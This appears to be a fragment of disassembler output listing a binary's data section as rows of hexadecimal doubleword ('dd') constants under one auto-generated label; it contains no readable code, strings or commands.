dd 5AF4C0A4h, 0C209D07Dh, 906487D0h, 0C1193C00h, 62394C8Eh
dd 0B8807DAh, 0B107C71Fh, 0F8F8C549h, 284808F3h, 0D188C9D8h
dd 0FD5A43D0h, 307D0A81h, 0D4991278h, 0C029A49Bh, 3B7AAh
dd 31366FCAh, 7909EAA3h, 0AA98500h, 9D2E55D3h, 4714963Eh
dd 7EC000B6h, 56000868h, 3B5128A4h, 5A146F13h, 18028C3h
dd 1D590200h, 0AFADC518h, 19A2097Eh, 0C0DB2CCCh, 0F0B2A7h
dd 15D63AA4h, 81709660h, 0B7F48D36h, 0B4502020h, 883664Ah
dd 3D18A340h, 62D8749h, 0F0A47C10h, 6371D900h, 5CB7AB29h
dd 393F12A6h, 8E7C4088h, 86BEA3E2h, 3898A84Bh, 172F4094h
dd 281F4Eh, 0CCAC24F9h, 0AF2600FBh, 51CACDD3h, 0D7F1FB01h
dd 3DE37EB0h, 8A14DE85h, 0F0A746h, 97D45AD0h, 0B1ADE1h
dd 181F374Dh, 0DBA353BFh, 0AC818709h, 0E104E1CEh, 10219113h
dd 801025E4h, 9E072B38h, 0DDD04525h, 0DBB2D933h, 0EF489863h
dd 125C2513h, 0FBF5F881h, 8292A4Dh, 3EE20C20h, 4109FF30h
dd 1480AD0Ah, 17979E65h, 0C0342D48h, 22B69BA8h, 0ADEF2AABh
dd 0F7C022DCh, 24408B0h, 3CDE3DA4h, 0C05022DFh, 40187C12h
dd 8D40A1E2h, 0F231ACA4h, 883F41FFh, 16A285F4h, 0ED2513h
dd 0FC0B0C9Ah, 0BD13657Bh, 3C881DB2h, 247DFD87h, 60301C26h
dd 8B41A50Ah, 0C3042F7h, 8F5A8420h, 0BAB60046h, 0B3B91461h
dd 0A025876Bh, 4318C066h, 9DBCB288h, 67624832h, 65615C56h
dd 6C30A70Fh, 4C2B41F1h, 0DE037E40h, 0EB91B05Eh, 0CDA3A9C7h
dd 183E8CF0h, 0B0085A6Dh, 0AE880C29h, 0DC251486h, 0BC20B411h
dd 5C8A9DE2h, 0E47258F8h, 0F5D05B05h, 0ACF25E1Dh, 0E03B4A2Dh
dd 2E8244E0h, 7A1DD3E6h, 0A5808DA9h, 1B9F8B89h, 0C89B0543h
dd 0F32F3829h, 0CC3329B4h, 3B830140h, 0C2A500CBh, 0ED7A744Bh
dd 0BFB89973h, 0FE593409h, 71D0E457h, 9E900317h, 7A8132FCh
dd 105D24C0h, 50E34900h, 1C0D6AE4h, 26F83F2Bh, 9B91C600h
dd 6AC0F3Fh, 58709C4Eh, 0C220E8h, 8158CF4h, 5BAD4BDDh
dd 99F3A200h, 0ED066963h, 84315057h, 8A4008B1h, 159103DBh
dd 0F801EC00h, 8EA0D064h, 0FB9F100h, 172F4BBBh, 61E21210h
dd 869402BCh, 5C40B665h, 14950D27h, 398847ACh, 0AB0F8462h
dd 0A4019EEEh, 20B3701Eh, 0A091D60Ch, 28D393A0h, 0BC819095h
dd 0AE032856h, 714C88CDh, 0B919290Fh, 216EA09Eh, 9A2824h
dd 0DB112AC6h, 4E312B78h, 0A010886Fh, 201EE57Fh, 5C25488Eh
dd 70B62E22h, 754C2607h, 0A7868C31h, 3096D06Ch, 0CF47C690h
dd 7CD5DE0Ah, 5800C9DFh, 9B947505h, 11185FF9h, 291C18B8h
dd 0E112CE4Bh, 0EF317D00h, 0B3261D65h, 6D02C053h, 4666AFA8h
dd 35420754h, 0B5950587h, 2680F492h, 0B0489781h, 2F034277h
dd 38981489h, 0E8B8B65Ch, 5B01C1BEh, 0AC5552F3h, 1ADBFC6Ah
dd 0D45D9C2Eh, 6621E560h, 0C5194A4Ah, 0BF688CACh, 0D12E9400h
dd 0D8AD1204h, 3E33001Fh, 0DD34DAA4h, 0C0C0CB59h, 6014AE6Eh
dd 5840BE9Fh, 320C53A8h, 283FE67Ah, 439E4492h, 2245E716h
dd 86CA581Dh, 7A08F85Eh, 0C2173891h, 3CBC0A2Dh, 911F8h
dd 0BB756845h, 0E3C3A1h, 76D350C9h, 804347EFh, 891012BDh
dd 491839A9h, 92015C7Dh, 0C8D571B8h, 884FC05Bh, 621BE402h
dd 798E1559h, 848A1068h, 74B2A5FEh, 9C3F613h, 0C5B24F8h
dd 0D2191F80h, 8D81AFh, 0E68811EBh, 0F0E47FD0h, 2242F0C0h
dd 0B87AD64h, 97FA1BDCh, 1922B8ECh, 0A7D12D0Ah, 452AB810h
dd 3F24BF00h, 43726D17h, 12CC0B18h, 0B0ECCD5Bh, 194449E0h
dd 0B4B16ADh, 31AE0052h, 0D0F6A88Bh, 12007D75h, 11287238h
dd 55E537Ch, 0A0FE2588h, 2BB0CCD7h, 0A6B50403h, 0F01FFF79h
dd 8A9D02h, 0B6663A70h, 0A9A3B220h, 0C8C7935Bh, 0B852A6E1h
dd 70609BC1h, 66C78805h, 17DFAD05h, 9441EB2Ah, 4FE691F5h
dd 6424006Fh, 4285155Eh, 0A122BCA4h, 0C8B85E2Dh, 90951700h
dd 275EFF7Ch, 9CC17E90h, 695070B7h, 0B80986EEh, 21758F40h
dd 248CFF40h, 0DC13EDD3h, 318CC8h, 93C58FD4h, 0CB86C0AFh
dd 1A65000h, 0A3B0747Fh, 55840570h, 0D0E0A98Bh, 8564FCF0h
dd 3888BC4Fh, 0C24000CEh, 0D90CF49h, 0A63BECDFh, 0F4D8BAEh
dd 902051AAh, 21378186h, 8CDD5E31h, 0CC4A3033h, 1512A400h
dd 14C8B7F2h, 0A9E0B3h, 0BEA12DE2h, 9B687CEBh, 95F8F509h
dd 874CC80Eh, 0E3461FD7h, 0EDACDDC2h, 291BE410h, 2692DD03h
dd 0F7D24155h, 823C4859h, 4D18038Bh, 651C9BDFh, 0A4D8E690h
dd 3EB84500h, 3C08C485h, 7AF03D8Dh, 0C40BF0E9h, 18FD1C18h
dd 3E253115h, 40E305B8h, 9CADF5EDh, 0B41BFF3Eh, 67C83106h
dd 0F83A3B86h, 0E7A200D5h, 0FF841B70h, 530C0B3Fh, 4D18769h
dd 15393C01h, 6CE871E7h, 31655ACEh, 2B9EE648h, 0A443AC04h
dd 54F2B8C8h, 1C48813h, 0C31E9E7Fh, 0D36AFA34h, 0DAE030AAh
dd 0AA5376D0h, 0F3C0BECh, 0DAA8C8A9h, 87F616ADh, 9679098Dh
dd 1600CC71h, 0B6911837h, 0BF89C019h, 0D5FECE0Fh, 51AB8E00h
dd 0ED7C6209h, 4383FBDh, 4D2D1E81h, 0E2FF8B3Dh, 0E1E7F040h
dd 68C004B6h, 0DEB523h, 97DA5460h, 47BE24D2h, 1C643502h
dd 4668C7ECh, 0B0909F7Ch, 0CC501317h, 0B8987890h, 38476345h
dd 492258A0h, 0A9A9C018h, 0ACB9990Ah, 8C3C1E7Bh, 802CF78h
dd 22AA2196h, 0F5200DC0h, 906419A9h, 0C18C22C0h, 172F64A1h
dd 0EC988DC5h, 0E8DA3814h, 11EEE30Ah, 0B3890818h, 66A1E280h
dd 4A010F8Bh, 82844049h, 9A605F0Dh, 0D7AD0E1Ah, 0EC406681h
dd 50F1D69h, 81BF0030h, 72960EB8h, 78A5CB5Ch, 0A74DB371h
dd 0C35C4810h, 0E05CFBF1h, 7D483AAh, 977FB536h, 61B3E00Fh
dd 89D3556Ah, 0F315A409h, 34581ECh, 6079B281h, 1E0BD731h
dd 0E4D625B5h, 7178B688h, 2C8BE0F4h, 9F4490A6h, 81A32650h
dd 64514B94h, 0ED80B89Dh, 91C56106h, 9BE9020Ah, 887BAA8Bh
dd 1009B441h, 0A05CCFB6h, 5E26FECBh, 1B982087h, 810C675Eh
dd 590965C6h, 0AE0F161Ch, 0ADA449EFh, 881AC90h, 0AAF41800h
dd 391A84C6h, 0ECB90BBFh, 0E871C89Ch, 0A78C1C00h, 0E71AC6Bh
dd 877368D1h, 270BDAC9h, 6CD4A4C2h, 0C2BBB640h, 0F1FA00E6h
dd 0DD6CA4ABh, 83096F51h, 189F2BF3h, 5FC9E25Ch, 49E8D83Dh
dd 741D44h, 0FD8148C8h
dd 0BD8486DBh, 828DAC00h, 0A1AF6E4Eh, 501397ADh, 3A9E1F0h
dd 0D9014BE2h, 3BAA4043h, 0A5F91216h, 1E3C9C0h, 0E98D86A8h
dd 0D18EFF05h, 64732A21h, 0E202B4C6h, 44891608h, 7F09E064h
dd 7052B55h, 73036A03h, 0F39D862h, 0D5A63A59h, 4DDB0183h
dd 800291Ah, 5C2BE745h, 1153DC5h, 0F3B84991h, 804E1D06h
dd 8F55A21h, 69EEACh, 0CCD09A19h, 9E2F6206h, 738D5B0Fh
dd 0B060785Eh, 4C454057h, 7C006CFEh, 0C9648526h, 1841C2D6h
dd 813874CCh, 0A800C6E2h, 0FA7696C0h, 0DD44Ch, 0A34308EDh
dd 272CCD4Bh, 3FCFA618h, 47A531h, 7A4F0E52h, 9CA49538h
dd 0DF73BB01h, 4AE7D51Ch, 5EFF670h, 4ED3E2BDh, 2A7003BCh
dd 99034B5Ah, 0FA4A5EDh, 0B6C4A370h, 36F820h, 0D4E9EE4Eh
dd 0FB852CBCh, 0A07FA79h, 0B07ACFFDh, 3C052181h, 49BFC1D5h
dd 612FBD98h, 49CED1C4h, 0F17F0009h, 0C874F7Ah, 32744669h
dd 1A00F7C1h, 9AB79B1Fh, 155CDD4h, 4811B652h, 0F4BE5FAAh
dd 0D79CAF1h, 51A9C730h, 44355Ch, 0D059B31Bh, 53ADEE67h
dd 38BEC407h, 0F3F12D66h, 0BC4D1CFEh, 0F88199CBh, 9F8160h
dd 90DE1EFh, 0BCBE4E58h, 5188D854h, 0BBF05545h, 21C9C023h
dd 0B77F4A38h, 84CA8302h, 83F1A61Fh, 2C281A60h, 27D29h
dd 576C2DD1h, 21023AC6h, 43C4C7E8h, 0C5B4914Ch, 2E6390E0h
dd 1D94D2Fh, 0BA4F2D68h, 4C3C4244h, 1172D099h, 71803E74h
dd 0EB157677h, 25382D5Bh, 9E5701C3h, 0D3A5D447h, 46B09051h
dd 0A2923981h, 306C8920h, 4F00BBB7h, 0ADAB40Dh, 0C0F89E37h
dd 13CC3B99h, 440C83D3h, 49ABC4F0h, 6A43008Ah, 8E540694h
dd 0F6000F92h, 5DABE942h, 77B27BDh, 503CCC17h, 4F2A3786h
dd 0BE84A0F4h, 0A8C44610h, 296F0051h, 0EB884897h, 9500E3C3h
dd 0FCBED2F1h, 0C3DE518Ah, 0AAC43848h, 1EE03100h, 80975987h
dd 0EFCB8FAh, 9F588F7Eh, 5C14463h, 803C1DE9h, 657FBD69h
dd 0C0A7C4A4h, 53179441h, 2F006B03h, 60A2461Ch, 0EC21DCE9h
dd 0C3FB09Fh, 9680A507h, 0C86FA631h, 860903C1h, 0E085DC91h
dd 0BCC40180h, 0BD491418h, 568CD01Eh, 980C9E40h, 19271A4Bh
dd 1CC100DDh, 0D46FA305h, 0A67429FFh, 240D2CA1h, 20671AB4h
dd 30E0D531h, 1483B423h, 9C17B64Eh, 0DD80A988h, 9B18E196h
dd 900E00FAh, 0E2893E83h, 41018257h, 0C5ECB3A8h, 9840D1C9h
dd 1FCC314Dh, 485F57Ah, 884F2AA5h, 0B97F4E84h, 10D330A1h
dd 282F4EBh, 0D28F2183h, 12406BD8h, 5C914E2Ah, 9AF46F28h
dd 0C9417437h, 232DBEF0h, 3BD000A9h, 3F056522h, 0A730D446h
dd 112559DAh, 84A600A5h, 9B9C9EEDh, 4700C903h, 0F4E60E58h
dd 2880CA39h, 3850B1B8h, 0A403C29Eh, 26131838h, 312160C7h
dd 94032A05h, 0C9A59A3Fh, 0F56103D8h, 57261ACFh, 0CEC43ED8h
dd 0FA2F19C0h, 8630D6Ah, 0D9A637BEh, 33748086h, 0FC01DC1h
dd 0F97240E0h, 982A11ACh, 0A4413803h, 887D433Ah, 1EF2762Dh
dd 0C716F74Ah, 0F9262A3Eh, 0CAB8D411h, 0A6C423h, 327F1461h
dd 0D94ACAE3h, 0C6B2CF00h, 0E6AC25E4h, 3B641CD3h, 88FD34Eh
dd 9F8240E0h, 82E5D6FAh, 214C52D4h, 847AC344h, 0CCC2C168h
dd 780AB48h, 0AD83FF15h, 9050006Bh, 3B82D669h, 0EA0684F2h
dd 0A340FC12h, 36743066h, 0DAB0CE69h, 0B8918F1Fh, 7CF61604h
dd 2E80A9C0h, 38F80096h, 0C21B5821h, 43003EEBh, 76CDFB9Fh
dd 0FDBAA5h, 97F10A54h, 0D0171C61h, 48119899h, 0F237ED00h
dd 413BEC96h, 0E945A490h, 4724D888h, 19C04E8Dh, 0D422C9E1h
dd 0B2B81700h, 67DFAE37h, 0F4D58500h, 1E8F8D70h, 562D0054h
dd 523CEB1Dh, 0BCA41A46h, 2BD11B01h, 0BC02788Ah, 0E0566160h
dd 8DCD1671h, 31B30E2Ah, 31E51D86h, 0A8B32126h, 1C418C49h
dd 235205C5h, 8F91159h, 9F924DC0h, 0B28FEC0Fh, 758E6003h
dd 0A2B9003Ah, 32B89CF3h, 0D602C3DFh, 83DDD9B3h, 0AF84C0E7h
dd 97BA2607h, 964100F4h, 5845FD64h, 94180309h, 0A4600080h
dd 4837600Dh, 0EDC34C81h, 0A90E151Dh, 0C0630831h, 0EC558B6Ch
dd 0F0A800B6h, 40A160FCh, 0B800E5D0h, 3F0EEB63h, 0A43CE6C7h
dd 67A678E0h, 719FA943h, 0BD37748Bh, 0EB750711h, 0CEB05836h
dd 9CC246h, 0A109E803h, 3007ECE7h, 0C018D348h, 932EC74Bh
dd 78F80087h, 159F5B66h, 7F0391F7h, 9C37B696h, 0A6C116A4h
dd 0D45021F2h, 9D0229Eh, 243D4CB3h, 3CC81D10h, 7BE13897h
dd 6E1AE700h, 8B61464Fh, 13B7F700h, 7D8187C8h, 26A51264h
dd 85800C9Bh, 25482A39h, 0D61DC290h, 8C4EDAh, 2BF97BE3h
dd 5659BED0h, 0BA58A004h, 98805163h, 72A63E1Ch, 8C0A002h
dd 4ECE0A74h, 112472C3h, 0AC2F009Ch, 5898CA1Ah, 643A05CBh
dd 0C37F0EE7h, 1BB0C35Fh, 84A0E57Ch, 0B9080888h, 840FE5Ah
dd 0A84DFC9h, 0A0CC292Ah, 783A48C3h, 9D21D44Ch, 0B8273843h
dd 3089C12Ch, 3B21E7C4h, 0B77F70F3h, 192C0549h, 4A58A47Eh
dd 5D288014h, 41450438h, 4B27B841h, 0C41AF310h, 7607D4A4h
dd 0E35D8D60h, 71B09B87h, 10DC6BBh, 3C5B7A39h, 0E7B13E31h
dd 827274C1h, 0CFA33771h, 64B0094Dh, 1726810Eh, 4F088C5Ch
dd 15C042B1h, 44B02122h, 9A2F00B8h, 6E3F46B2h, 9504337Ah
dd 1A5247EEh, 0FA48B486h, 0D74C102Ah, 20742543h, 102135C8h
dd 1D72000Eh, 34F1B793h, 0FD01FC8Fh, 0FFF27CDCh, 0E7D08025h
dd 43B002Dh, 97B9CE84h, 8F54C4A5h, 14A283C0h, 58003CE4h
dd 0C6DDC595h, 0F4C3543h, 0EE833EB9h, 167FA361h, 9E53C006h
dd 90B0AC90h, 8F788438h, 46B0A20Ch, 493575h, 7F02CA49h
dd 0E247CB5h, 0D9D12D00h, 0CC06110Bh, 0B9C7F226h, 0E1BA0080h
dd 0A01CA1C8h, 0D000D5E6h, 0B286245Ch, 16B6184Ah, 161DECE2h
dd 0AC8010C1h, 0ED829C48h, 34628EBBh, 0DCE6A84Ah, 480FA605h
dd 0BC402D1Ah, 43419DCBh, 4ED40047h, 0D1E4940h, 0F73AA6D9h
dd 0F6768F70h, 78A0C654h, 4C9899h, 9B38B54Ch, 49DFA60Ch
dd 61D628A8h, 0EA6CDC00h, 3BF2ACD7h, 964B1EE4h, 0D45DC286h
dd 0A0E6B7A6h, 911A2D44h, 0F8803E04h, 9C411712h, 681687A3h
dd 79007731h, 0C1FEC50Eh, 0C6AC058Bh, 4059DC1Eh, 6368F91Ch
dd 0E2030CD2h, 88E9CDE5h, 4E1E9176h, 97C9E0E7h, 0D9AD68C5h
dd 0E6758058h, 87812A35h, 0C3964709h, 86F407BEh, 13C286DEh
dd 40749429h, 8504E36Eh, 80935339h, 7CD00BF3h, 0CA2E21h
dd 0E73B201Bh, 30AE6AC5h, 0F53C0802h, 20DB1D47h, 408652B9h
dd 7B7128A8h, 0E2604B00h, 6C2C0570h, 0F6B81204h, 0A6544286h
dd 949130CDh, 4A5E102Ah, 0EB21016Dh, 1DDF2C90h, 42AFF4FFh
dd 0D846D204h, 24C0CFDAh, 9C74CDC6h, 49448000h, 98E4F8AAh
dd 0BB4AD601h, 3F5BCB68h, 3380C02Ch, 30DBA2FFh, 491DB900h
dd 3187CAE4h, 0BE4E19DAh, 23B4811Ah, 972D00D8h, 0A8A299C4h
dd 0EFC80936h, 0F484DF5Fh, 0F48C253Ch, 4CEC7A3Bh, 284B8054h
dd 2500E3A4h, 0AEFDC0E6h, 13A70E7Bh, 8424FF4h, 0A8AC43E8h
dd 0A7881510h, 0D9ABAE80h, 0A6E147h, 0CEF6C10Bh, 6F5CB3D4h
dd 50F41526h, 0A7068C24h, 793BC6h, 0B65E9CA5h, 0CDB7D7EFh
dd 90881E26h, 5F6014CAh, 0F3D3E0h, 20845748h, 407F9A0h
dd 40726E26h, 14C71560h, 610800F3h, 8DD4D5B5h, 0F90F95CCh
dd 93A1B1BDh, 0E874940Ah, 0ECC6CE40h, 418F0058h, 170FA29Dh
dd 1000C8F6h, 0A405A668h, 39A0FCh, 3B4221A5h, 0E60497D8h
dd 9162C50Fh, 6A648FA3h
dword_55FB80 dd 0D240B475h, 395A7h, 8F20F4BDh, 0E492FA37h, 3852BB04h
dd 0E092340Bh, 98405AC0h, 0F212E900h, 0EDDC1540h, 0F0A630C5h
dd 84A3D48Ch, 18F23800h, 8095BBDh, 90E8B321h, 82318F9Ch
dd 523B3F6Fh, 5E692CE8h, 10426730h, 0DDE7ADD6h, 360B64F4h
dd 186E2C77h, 0E265F474h, 81D13F9h, 44A408D6h, 0B29CEB80h
dd 1315857Fh, 0C8C54ED1h, 0C68C4F54h, 886C36A0h, 0C8CACCA1h
dd 42F6A25Eh, 19860418h, 8B1DC040h, 34CB3028h, 503DF7h
dd 0BB3E6196h, 0BC85ADh, 0F9D9EBDCh, 99048FC7h, 902EA509h
dd 31C44478h, 5291DA37h, 0C8020955h, 5EA06161h, 0B03FA441h
dd 6831C875h, 782E0062h, 84D01098h, 0A54B42F0h, 0A474E0AEh
dd 38C119C1h, 3068FC1Ah, 63F49701h, 0CBA707DCh, 0F10DD017h
dd 11CE70B0h, 2D3E2016h, 1355B30h, 283940C0h, 38C77562h
dd 0A80A2E58h, 421BBE88h, 0ED23485Ah, 0EFF6880Ch, 3C225CBBh
dd 562D7302h, 4471A57Ah, 7FCA7C00h, 0A0F1A610h, 49C40A44h
dd 811EC432h, 84BDD4D4h, 6FA80C2Eh, 87DEADAEh, 0D049EEBCh
dd 0E5686F51h, 0DB172C05h, 4A80F431h, 187E38D3h, 8802D91h
dd 7160B029h, 8527DF69h, 0BA8C00D0h, 986C4D05h, 0E32C4E6Dh
dd 0B60E04E4h, 2F91890Dh, 63610914h, 10D1F244h, 6A0A5847h
dd 9CB36ED8h, 0FC67B940h, 1FCAF0B1h, 81F24C95h, 0BBE6155Dh
dd 0A488425Ch, 7C81384Ah, 70492331h, 977674B8h, 1764C08Ah
dd 78FA739Eh, 0A30946Dh, 60D0BDA4h, 8A97D2BCh, 0F2E63200h
dd 71FB8262h, 1261787Eh, 446C03Ch, 54A0DC8h, 0B033F3A6h
dd 375012BAh, 9718D29Eh, 2425E061h, 11E9ED4Ch, 0B2147350h
dd 0C00902D4h, 0E35ACC86h, 0A89050D8h, 1C4444BBh, 9A9F449Eh
dd 8F035613h, 90CD6F58h, 0CC045BE6h, 75595A30h, 1CF93944h
dd 0E44CD7Ch, 0BAE45262h, 30598134h, 0F69043DFh, 0D40E2926h
dd 1A4931E4h, 34500868h, 731F0C00h, 0EDCDD957h, 3C7901ABh
dd 36F3F126h, 0F93BEBF4h, 9FEEBE3Bh, 0AD0AD28Ah, 0E7090CCEh
dd 3070B47h, 26995BA0h, 7582170h, 0C38DAB0Dh, 19EB0EA4h
dd 0E880DB82h, 0FE5A3F6Bh, 14203424h, 801C5E08h, 0C8AE939Ch
dd 3719B59Fh, 27293C0Ah, 0C4497070h, 8CA2D429h, 2D8CCCE8h
dd 0E8A07718h, 4933AE89h, 281EFF03h, 8035B40Ah, 4CE2B84Bh
dd 112154CFh, 80B4B014h, 92B56EA4h, 0C1083E50h, 0C91ABD80h
dd 9AE825CFh, 0F588FB16h, 1C999488h, 16C73A4Ah, 77E10726h
dd 0F0F810CFh, 0B60BCBE6h, 0AEA522FCh, 48C98994h, 0B53648h
dd 1E96ACCCh, 0A1B333BAh, 0BCCE520Ah, 0B11383E5h, 0A07ABC20h
dd 503712B0h, 67809EBh, 53230C84h, 0F1BF400Eh, 3DC7F302h
dd 8CE83C95h, 18355B21h, 0A8C21084h, 34D4847Ch, 0F3ED0CCh
dd 0EF02F082h, 0B8802D88h, 6ABB2C09h, 0AC0500DEh, 7BF91322h
dd 485C0FA9h, 3A42140h, 4E2B4AE7h, 942FBA8Ah, 0C7604838h
dd 6FB00CCFh, 5B6BFAh, 0E8AC76ADh, 368BA6B7h, 522DEA01h
dd 5CB025E7h, 0BE3BF980h, 11EF8679h, 3469CA00h, 3E786CDAh
dd 68D92543h, 644E1023h, 14CC3188h, 0EFBBF200h, 4AAB3AC3h
dd 0C0A07BD4h, 0C8C8081h, 672EF2B9h, 0E86F8411h, 8CBD4571h
dd 94845BE4h, 0AC56405Ch, 4007525h, 0D518DE63h, 0EA6113E1h
dd 0C24F0485h, 9043E65Ah, 4D4497B8h, 0A022234Eh, 0F3ED2049h
dd 4E1838D4h, 0BD211F54h, 0BD2068Bh, 4060C1C4h, 9C9448h
dd 805DAF9Ch, 3049FE17h, 473125BCh, 8D124059h, 4888903Ch
dd 4136020Eh, 0F61942A7h, 83E09F43h, 0E8B11D98h, 0F9B23F00h
dd 742C20Dh, 84A690E6h, 4C107B4Eh, 0B0968321h, 4400FF4Ah
dd 0F688B15Dh, 54E40F5Bh, 0CEEB0CD2h, 0D9BF3E81h, 22246D38h
dd 5A764Eh, 19EC7E07h, 0A41ABEB5h, 6D067309h, 0F240008Eh
dd 0B93B2901h, 5CC80DCh, 889AE1A8h, 6BD06C00h, 734232B6h
dd 7B1F00A6h, 91B2FC82h, 384C5FBBh, 0A00CC0B0h, 0E379CFAAh
dd 0E43070D9h, 974C400Fh, 0C9BA25Ch, 31C9C6A6h, 96F0BC1Ah
dd 9701FBAAh, 0FD4E7732h, 2BC7D0h, 0C9842CACh, 0CDA7FF42h
dd 8144B894h, 97E37F60h, 3F911091h, 0BBF0607h, 837BD318h
dd 0CC90CEE2h, 60280C65h, 24444445h, 49120029h, 0D8447102h
dd 0B027882Eh, 0BFE825A5h, 1C80E4E2h, 76DE7F59h, 25AB6F03h
dd 8824E681h, 211FA5Ch, 0BB45380Fh, 0EC8597E0h, 47508C2Dh
dd 2FBCE28Bh, 9418648Bh, 7200D0DEh, 8BDA152Ah, 7CBC0DFFh
dd 0A80B4CB6h, 74CDA614h, 259CD416h, 11300088h, 0A4ED84A9h
dd 1530B44Ch, 8098AF37h, 618C9EA5h, 833C2511h, 7F533C38h
dd 74D1140Ah, 860E0C3Dh, 72AAE04Fh, 5860CD70h, 0FB8038C7h
dd 8F589FD7h, 149409E4h, 3B56D300h, 1FFEA96h, 3F3D6DE5h
dd 70E9D438h, 9EB00588h, 324A6C25h, 0E7409854h, 0B33F00EEh
dd 663603C2h, 0C10F933Dh, 40693A6Bh, 0DCA0DD78h, 42489474h
dd 772ECDEEh, 28404C94h, 70F08BD2h, 0B25F000Ah, 288DE959h
dd 0BE011C97h, 0D5DD0B72h, 9601C4B4h, 0DBDEEC4Eh, 3A3BD883h
dd 9CC94C04h, 0A82B5380h, 0E100A6F1h, 46478C8Bh, 5125B59h
dd 333CB84Ah, 998B482h, 4072C426h, 4DE73880h, 4E71AC86h
dd 0C9BC44BDh, 0AB3942A4h, 0E0076333h, 90757D9h, 0F6ADF19Dh
dd 0A0CFA0A5h, 4484DD98h, 0CE3AAE55h, 3C0070F3h, 0D84DB79Bh
dd 92FE5BABh, 0CBC92714h, 0E0B544B8h, 0EFE47D00h, 6AE325DFh
dd 1D180076h, 0A5B1634Ah, 960C68C6h, 71E8C773h, 2FF128A6h
dd 88608024h, 0DAEB0049h, 0C053FBDh, 0C901284Bh, 73A1344Eh
dd 7EE42361h, 0A7BD1601h, 0C2A8D4F1h, 0A620CF98h, 17EE71EFh
dd 390CD60h, 0B0300630h, 31247389h, 80C468DCh, 5FC8261Ah
dd 355C019Fh, 2E41B52Fh, 7628E983h, 31953260h, 88A8D10Dh
dd 611244E3h, 0D87CC8h, 133DE10Ch, 87B90F65h, 5647C61Dh
dd 378C7E41h, 0E83CA1ABh, 20483388h, 4914FE01h, 0C8C8F31Dh
dd 506802FCh, 7F6663D3h, 7C00B4D0h, 0A7DABB61h, 567BAEDh
dd 7A83859h, 0CEFC81DBh, 807872D8h, 0E43B4953h, 0BF2C00A2h
dd 9483638h, 9B38B28Ch, 61D8825Dh, 0D20F5242h, 0A90E2E78h
dd 0C7263A68h, 98262DAAh, 7642286Fh, 23410D3Ah, 9F270378h
dd 0DB7E7884h, 0F279E8C8h, 0BD402499h, 2A410269h, 64564627h
dd 0B94A1C44h, 8C1E94B8h, 0A013C22h, 0F49D3BDCh, 843CE0DAh
dd 415DB018h, 0E900B426h, 97BF8409h, 5F7ED5h, 0E3709469h
dd 8C385B61h, 0E03B2A26h, 3DAA7B60h, 0C0910027h, 0DDBDEC65h
dd 40914CD8h, 1D174A81h, 0ADCC27BAh, 0C5AE0074h, 2DE02E20h
dd 0A404D7CEh, 0A837ED6Ch, 2FA658C8h, 101144F3h, 7827F253h
dd 18CD3C85h, 767F3463h, 519B0096h, 1499710Eh, 0DF006AD3h
dd 58C3045Eh, 5C403080h, 19A05048h, 90001D0Bh, 0C0A72817h
dd 595C12h, 0DCCD0F6Ch, 8A48A5F7h, 2AA3D200h, 0F2377F3Eh
dd 350C908Eh, 0F28895AAh, 0F55E00E4h, 59912FABh, 512A29A2h
dd 81BB90CCh, 88852B0h, 44C1B838h, 609BB87Dh, 80842660h
dd 1D48F2Ch, 9B6A4493h, 0FC5221F4h, 881EA69Eh, 3426F5ECh
dd 0EE7BB760h, 508100D6h, 1677546Bh, 0EC0283EDh, 0F0A621F3h
dd 0A72C7B30h, 3608D400h, 0E300EBE8h, 595FBE54h, 9DE525E6h
dd 0F8842011h, 5B046706h, 9681F9E7h, 0DF9E00EEh, 0A93A2B41h
dd 0A2705805h, 6C03B3B4h, 0B8CBC583h, 4C272C33h, 9C01480h
dd 71FEACEDh, 40B9E00h, 0F4EFF840h, 448CB87Bh, 0AE0E1A5Ah
dd 0B8C9FE0Ch, 2CE2EEh
dd 9E33D57Fh, 0F66C01B0h, 0F522A80Bh, 35502487h, 68E0124Eh
dd 7FA63CF9h, 1775E748h, 0D10374BEh, 0F28B7DA2h, 4C38442Ch
dd 0D2B09CC9h, 0FE037EA1h, 3740CA25h, 9C038FB1h, 31F9B087h
dd 74F80967h, 0C4682055h, 25095A9Ah, 7B0F64h, 0F4EDD3E8h
dd 7580047h, 23E28CB7h, 25055685h, 9876A58Bh, 7B7F8830h
dd 2C960EC6h, 6D20A79Bh, 0FFF8C358h, 0A0B1C53Ah, 43780744h
dd 0B7EDCFE6h, 9E7281C7h, 42F02070h, 166EBB88h, 885A238h
dd 0ED8009B4h, 0BD49FF9Eh, 0DA3C090Dh, 80234B2h, 0D42043C6h
dd 5BED69FAh, 19F0401Dh, 50041F0Eh, 56BE7F00h, 0EDF61498h
dd 37D50013h, 0EC386ABBh, 0A6735CCBh, 202EE045h, 48C6A214h
dd 0B089E30Ch, 607489A6h, 0D2E72934h, 0CC1D1418h, 3A80580Ch
dd 39885B96h, 0CBE509BBh, 0BCA9AF1Dh, 9D624498h, 3E8F5000h
dd 15C761F6h, 1018994Ch, 4925C838h, 98F5E880h, 0BCB0B9ECh
dd 272DA002h, 74737E83h, 76C41D0h, 865A7055h, 0C5ADFB00h
dd 0FEE1666h, 3330132Fh, 78B2CDh, 545EC3Ch, 15D6291h, 8F07AFDFh
dd 8B771DF0h, 44242AF9h, 5EC50EB8h, 0EE0CF3Eh, 0E0AAF038h
dd 51A71B3Dh, 432D44C0h, 0AEFF9FC0h, 0F0CC8CECh, 0C2515F00h
dd 2C465505h, 15240E99h, 0ECC017A9h, 827C8E07h, 0AE07B4B0h
dd 74FBB7F3h, 0FEA63AA0h, 0E2BF44Eh, 0C42E7858h, 0E36EEC00h
dd 0B73FC9D5h, 92C8032Ch, 0E7BD1B48h, 6BE7C36Fh, 48BED3h
dd 0B8A62D2Ch, 0EB13A247h, 153F5Ch, 35A3BC6h, 18360A3Dh
dd 79389F97h, 0EB019CC7h, 3462F424h, 5BC8D0F1h, 0ADD330D5h
dd 0A04D1051h, 2B81B107h, 0CFE6C3BCh, 39E30389h, 0D695D7F4h
dd 9F1365E8h, 5595D60h, 208A73Dh, 4652B666h, 406040B9h
dd 6B0F2D38h, 0EF154465h, 7C554043h, 3C4E32AEh, 3B037002h
dd 4D5CAD91h, 0F0347BB9h, 326038CCh, 0BB7DAB59h, 36F07A5h
dd 0C06B964Dh, 354B71E6h, 0B590C401h, 3917F6F8h, 343F833Eh
dd 0B6813900h, 0BB1EC2DFh, 304B61F1h, 0C539BA04h, 0FAD18CF7h
dd 0E8F308BDh, 59F00676h, 8883F9D3h, 30C35C3Dh, 0B04621C2h
dd 0E190ABBBh, 1982B64Dh, 0CCC2F140h, 7903AA63h, 0AA0E36C8h
